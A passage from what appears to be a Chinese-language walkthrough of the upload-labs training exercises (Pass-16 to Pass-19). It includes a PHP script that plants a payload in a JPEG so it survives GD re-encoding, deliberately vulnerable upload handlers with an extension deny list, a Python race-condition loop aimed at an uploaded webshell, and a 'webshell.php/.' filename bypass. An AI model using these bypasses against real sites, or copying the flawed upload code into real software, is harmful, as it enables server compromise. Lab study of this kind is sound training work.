while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

运行脚本命令:

1
jpg_payload.php 1.jpg

Pass-17

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = $UPLOAD_ADDR . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = $UPLOAD_ADDR . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
unlink($upload_file);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传失败!';
}
}

方法一

这种过滤方法是条件筛选,先上传文件,如果不符合格式再将文件删除。所以可以在文件没被删除时访问即可,利用这个时间差执行,但是时间差很短,所以我们可以直接使用脚本访问。

1
2
3
4
5
6
7
import requests
url = "http://192.168.31.88/upload-labs/upload/webshell.jpg"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break

方法二

将上传页面和文件包含触发漏洞页面发送到Burp的intruder,然后payload设置为null,即可触发条件竞争漏洞

Pass-18

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload($UPLOAD_ADDR);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}

//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){

$ret = $this->isUploadedFile();

if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// if flag to check if the file exists is set to 1

if( $this->cls_file_exists == 1 ){

$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// if we are here, we are ready to move the file to destination

$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// check if we need to rename the file

if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// if we are here, everything worked as planned :)

return $this->resultUpload( "SUCCESS" );

}
......
......
......
};

方法一

直接上传图片马即可,可以在返回页面中得到图片名称

Pass-19

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

if(!in_array($file_ext,$deny_ext)) {
$img_path = $UPLOAD_ADDR . '/' .$file_name;
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $img_path)) {
$is_upload = true;
}else{
$msg = '上传失败!';
}
}else{
$msg = '禁止保存为该类型文件!';
}

} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}

解法

move_uploaded_file这个函数会忽略/,因此可以修改上传的文件名为:webshell.php/.即可成功上传,测试连接成功。